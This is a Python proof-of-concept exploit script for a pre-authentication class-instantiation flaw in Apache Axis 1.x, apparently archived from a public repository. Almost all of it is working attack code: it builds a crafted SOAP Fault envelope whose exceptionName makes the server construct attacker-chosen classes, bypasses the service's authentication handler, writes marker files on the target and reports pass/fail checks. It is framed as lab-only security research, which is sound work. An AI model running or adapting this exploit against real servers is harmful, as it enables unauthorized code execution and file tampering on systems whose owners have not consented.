#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/fixedbyreboot/CVE-2026-90436-POC (see README for attribution/license)
"""
poc.py - CVE-2026-90436: Apache Axis 1.x unauthenticated remote class
instantiation via SOAP fault <exceptionName> (CWE-470).

Apache Axis 1.x (through 1.4, EOL/unsupported) instantiates an arbitrary
classpath class with attacker-controlled data when it deserializes an
inbound SOAP Body whose first entry is a <Fault> carrying:

    <detail>
      <data xsi:type="xsd:string">ATTACKER_DATA</data>
      <exceptionName>FULL.CLASS.Name</exceptionName>
    </detail>

During service dispatch AxisServer.initSOAPConstants force-parses the
request envelope BEFORE any per-service handler chain runs, so a service
protected by an authentication request-flow handler is still vulnerable:
SOAPFaultDetailsBuilder.setValue() runs ClassUtils.forName(exceptionName)
(initializing load -> static initializers execute) and
SOAPFaultBuilder.createFault() then calls
faultClass.getConstructor(String.class).newInstance(data) - the object is
constructed BEFORE the (AxisFault) cast, whose ClassCastException is
silently swallowed.

Reachable gadgets shipped in this lab:
  fileout : java.io.FileOutputStream - String ctor creates/truncates a file
  static  : lab.cve90436.StaticInitGadget - static initializer writes a file
            (proves Class.forName alone executes code; NOTE - Java initializes
            a class only once per JVM, so the static marker appears on the
            first trigger after a server restart)

Usage:
    python3 poc.py --mode run       --gadget fileout [--host H] [--port P]
    python3 poc.py --mode transcript --gadget static [--host H] [--port P]

    --host    target host (default 127.0.0.1 - run only against labs you own)
    --port    target port (default 29080, the lab's published port)
    --path    service path (default /axis/services/SecureService)
    --gadget  fileout | static | benign | garbage
    --container  container name for marker checks via `docker exec`
                 (omit when poc.py runs on the same host as the server)
    --mode    run: trigger + controls with [PASS]/[FAIL] verdicts
              transcript: dump the raw HTTP request/response bytes

Exit code 0 when every check passes, 1 otherwise.
"""

import argparse
import os
import socket
import subprocess
import sys
import time

# Marker files the lab gadgets create (also see lab-files/*.java).
MARKER_FILEOUT = "/tmp/PWNED-90436"
MARKER_STATIC = "/tmp/PWNED-90436-static"
MARKER_ABSENT = "/tmp/SHOULD-NOT-EXIST-90436"   # controls: must never appear

# exceptionName / data pairs per --gadget selection.
GADGETS = {
    "fileout": ("java.io.FileOutputStream", MARKER_FILEOUT),
    "static": ("lab.cve90436.StaticInitGadget", "anything"),
    "benign": ("java.lang.String", MARKER_ABSENT),
    "garbage": ("com.nonexistent.cve90436.Garbage", MARKER_ABSENT),
}

# Standard SOAP 1.1 envelope used by the upstream regression test
# (TestFaultClassInstantiation). NOTE: <data> must precede <exceptionName>:
# the data element first records the fault data and sets faultClass from its
# xsi:type; the exceptionName callback then overwrites faultClass with the
# attacker-chosen class, so the final state is (class=attacker, data=string).
ENVELOPE = (
    '<soap:Envelope'
    ' xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"'
    ' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"'
    ' xmlns:xsd="http://www.w3.org/2001/XMLSchema">'
    '<soap:Body>'
    '<soap:Fault>'
    '<faultcode>x</faultcode>'
    '<faultstring>x</faultstring>'
    '<detail>'
    '<data xsi:type="xsd:string">{data}</data>'
    '<exceptionName>{exception}</exceptionName>'
    '</detail>'
    '</soap:Fault>'
    '</soap:Body>'
    '</soap:Envelope>'
)

# Legit RPC ping for the auth-handler controls (no fault trick).
PING_ENVELOPE = (
    '<soap:Envelope'
    ' xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">'
    '<soap:Body>'
    '<ns1:ping xmlns:ns1="urn:lab.cve90436.SecureService"/>'
    '</soap:Body>'
    '</soap:Envelope>'
)

AUTH_HEADER = "Authorization: Basic bGFiOmxhYg=="  # presence = authenticated in lab


def build_trigger(exception_name, data):
    """Render the SOAP fault trigger envelope."""
    return ENVELOPE.format(exception=exception_name, data=data)


def raw_request(host, port, path, body, extra_headers=()):
    """Send one raw HTTP request over a socket; return (status, headers, body).

    Kept deliberately low-level (Connection: close + recv loop) so the
    transcript mode can show the exact bytes on the wire.
    """
    headers = [
        "POST %s HTTP/1.1" % path,
        "Host: %s:%d" % (host, port),
        "Content-Type: text/xml; charset=utf-8",
        'SOAPAction: ""',
        "Content-Length: %d" % len(body.encode("utf-8")),
    ]
    headers.extend(extra_headers)
    headers.append("Connection: close")
    payload = ("\r\n".join(headers) + "\r\n\r\n" + body).encode("utf-8")

    sock = socket.create_connection((host, port), timeout=30)
    try:
        sock.sendall(payload)
        chunks = []
        while True:
            got = sock.recv(65536)
            if not got:
                break
            chunks.append(got)
        raw = b"".join(chunks)
    finally:
        sock.close()

    head, sep, body_bytes = raw.partition(b"\r\n\r\n")
    lines = head.decode("iso-8859-1").split("\r\n")
    return lines[0], "\r\n".join(lines[1:]), body_bytes, payload


def marker_cmd(cmd, container):
    """Run a marker-inspection command locally or via docker exec."""
    if container:
        full = ["docker", "exec", container] + cmd
    else:
        full = cmd
    return subprocess.run(full, capture_output=True, text=True)


def clear_markers(paths, container):
    """Remove the lab marker files before a fresh attempt."""
    for p in paths:
        marker_cmd(["rm", "-f", p], container)


def marker_state(path, container):
    """Return a human-readable marker description ('absent' if not there)."""
    if container:
        probe = marker_cmd(["sh", "-c",
                            "stat -c '%s %y' %s 2>/dev/null; cat %s" % (path, path, path)],
                           container)
        out = probe.stdout.strip()
        return out if out else "absent"
    if not os.path.exists(path):
        return "absent"
    st = os.stat(path)
    try:
        content = open(path, "rb").read().decode("utf-8", "replace").strip()
    except OSError:
        content = ""
    desc = "%d bytes, mode %o, mtime %s" % (st.st_size, st.st_mode & 0o7777,
                                            time.strftime("%Y-%m-%d %H:%M:%S",
                                                          time.localtime(st.st_mtime)))
    if content:
        desc += ", content=%r" % content
    return desc


def verdict(label, ok, detail):
    print("  [%s] %s" % ("PASS" if ok else "FAIL", label))
    for line in detail.splitlines():
        print("        " + line)
    return 1 if ok else 0


def show_exchange(tag, status, headers, body):
    print("  ---- %s response ----" % tag)
    print("  " + status)
    for line in headers.split("\r\n"):
        print("  " + line)
    text = body.decode("utf-8", "replace")
    for line in text.splitlines():
        print("  " + line)
    print("")


def dechunk(body_bytes):
    """Decode a chunked HTTP body for readable display (run mode only)."""
    out = b""
    rest = body_bytes
    while True:
        line_end = rest.find(b"\r\n")
        if line_end < 0:
            break
        try:
            size = int(rest[:line_end].split(b";")[0], 16)
        except ValueError:
            return body_bytes  # body was not chunk-encoded after all
        if size == 0:
            break
        out += rest[line_end + 2: line_end + 2 + size]
        rest = rest[line_end + 2 + size + 2:]
    return out or body_bytes


def run_mode(args):
    """Trigger + controls; every verdict comes from observed responses or
    observed marker states only."""
    results = []
    url_desc = "http://%s:%d%s" % (args.host, args.port, args.path)
    print("[*] target   : %s" % url_desc)
    print("[*] service  : SecureService, protected by lab.cve90436.AuthHandler")
    print("[*] gadget   : %s" % args.gadget)
    print("[*] markers  : %s\n" % ("docker exec on %s" % args.container
                                    if args.container else "local filesystem"))

    exception_name, data = GADGETS[args.gadget]

    # ---- 1. main trigger: fault trick against the auth-protected service,
    #         no credentials -----------------------------------------------
    trigger_markers = {  # markers each gadget should / should not produce
        "fileout": (MARKER_FILEOUT, True),
        "static": (MARKER_STATIC, True),
        "benign": (MARKER_ABSENT, False),
        "garbage": (MARKER_ABSENT, False),
    }
    marker_path, marker_expected = trigger_markers[args.gadget]
    clear_markers([MARKER_FILEOUT, MARKER_STATIC, MARKER_ABSENT], args.container)

    print("[1] TRIGGER (no Authorization header): exceptionName=%s data=%s"
          % (exception_name, data))
    status, headers, body, payload = raw_request(
        args.host, args.port, args.path,
        build_trigger(exception_name, data))
    show_exchange("trigger", status, headers, dechunk(body))
    state = marker_state(marker_path, args.container)
    print("  marker %s -> %s" % (marker_path, state))
    if marker_expected:
        ok = state != "absent"
        results.append(verdict(
            "pre-auth remote class instantiation (%s)" % args.gadget, ok,
            "marker %s despite the same service rejecting unauthenticated"
            "\nrequests (auth handler runs only after envelope parsing)"
            % ("created: " + state if ok else "NOT created")))
    else:
        ok = state == "absent"
        results.append(verdict(
            "control: benign/garbage exceptionName has no side effect", ok,
            "%s correctly %s" % (marker_path,
                                 "absent" if ok else "UNEXPECTEDLY CREATED")))
    bypass_marker_ok = ok

    # ---- 2. control C3a: same service, plain ping, no credentials -------
    print("[2] CONTROL C3a: plain ping, no Authorization header")
    status, headers, body, _ = raw_request(args.host, args.port, args.path,
                                           PING_ENVELOPE)
    show_exchange("ping no-auth", status, headers, dechunk(body))
    blocked = "Unauthorized" in body.decode("utf-8", "replace")
    results.append(verdict(
        "auth handler blocks unauthenticated requests on this service",
        blocked,
        "response faultstring contains 'Unauthorized': %s" % blocked))

    # ---- 3. control C3b: same service, ping WITH Authorization ----------
    print("[3] CONTROL C3b: plain ping WITH Authorization header")
    status, headers, body, _ = raw_request(args.host, args.port, args.path,
                                           PING_ENVELOPE,
                                           extra_headers=(AUTH_HEADER,))
    show_exchange("ping with-auth", status, headers, dechunk(body))
    allowed = ("pong" in body.decode("utf-8", "replace"))
    results.append(verdict(
        "service reachable with credentials (handler logic works)", allowed,
        "ping returned 'pong': %s" % allowed))

    # ---- 4. combined bypass conclusion ----------------------------------
    if args.gadget in ("fileout", "static"):
        ok = bypass_marker_ok and blocked
        results.append(verdict(
            "AUTH BYPASS: trigger side effect happened despite the auth"
            " handler", ok,
            "same endpoint: fault trick -> marker created without creds;"
            " plain ping -> Client.Unauthenticated"))
    else:
        results.append(verdict(
            "controls hold (no instantiation for benign/garbage input)",
            bypass_marker_ok, "no marker side effect observed"))

    print("")
    passed, total = sum(results), len(results)
    print("[%d/%d checks passed]" % (passed, total))
    return 0 if passed == total else 1


def transcript_mode(args):
    """Dump the raw HTTP request + response bytes for the selected trigger."""
    exception_name, data = GADGETS[args.gadget]
    body = build_trigger(exception_name, data)
    status, headers, resp_body, payload = raw_request(args.host, args.port,
                                                      args.path, body)
    print("### raw HTTP request (%d bytes) ###" % len(payload))
    print(payload.decode("utf-8", "replace"))
    print("")
    print("### raw HTTP response ###")
    print(status)
    print(headers)
    print("")
    print("### raw response body (%d bytes) ###" % len(resp_body))
    try:
        print(resp_body.decode("utf-8"))
    except UnicodeDecodeError:
        print(repr(resp_body))
    return 0


def main():
    ap = argparse.ArgumentParser(
        description="CVE-2026-90436 PoC (Apache Axis 1.x SOAP fault "
                    "exceptionName class instantiation)")
    ap.add_argument("--host", default="127.0.0.1",
                    help="target host (default: 127.0.0.1)")
    ap.add_argument("--port", type=int, default=29080,
                    help="target port (default: 29080)")
    ap.add_argument("--path", default="/axis/services/SecureService",
                    help="service path (default: /axis/services/SecureService)")
    ap.add_argument("--gadget", default="fileout",
                    choices=sorted(GADGETS.keys()),
                    help="trigger gadget: fileout | static | benign | garbage")
    ap.add_argument("--container", default="",
                    help="docker container name for marker checks "
                         "(default: check the local filesystem)")
    ap.add_argument("--mode", choices=("run", "transcript"), default="run",
                    help="run: trigger+controls with verdicts; "
                         "transcript: raw HTTP dump")
    args = ap.parse_args()

    if args.mode == "run":
        sys.exit(run_mode(args))
    sys.exit(transcript_mode(args))


if __name__ == "__main__":
    main()
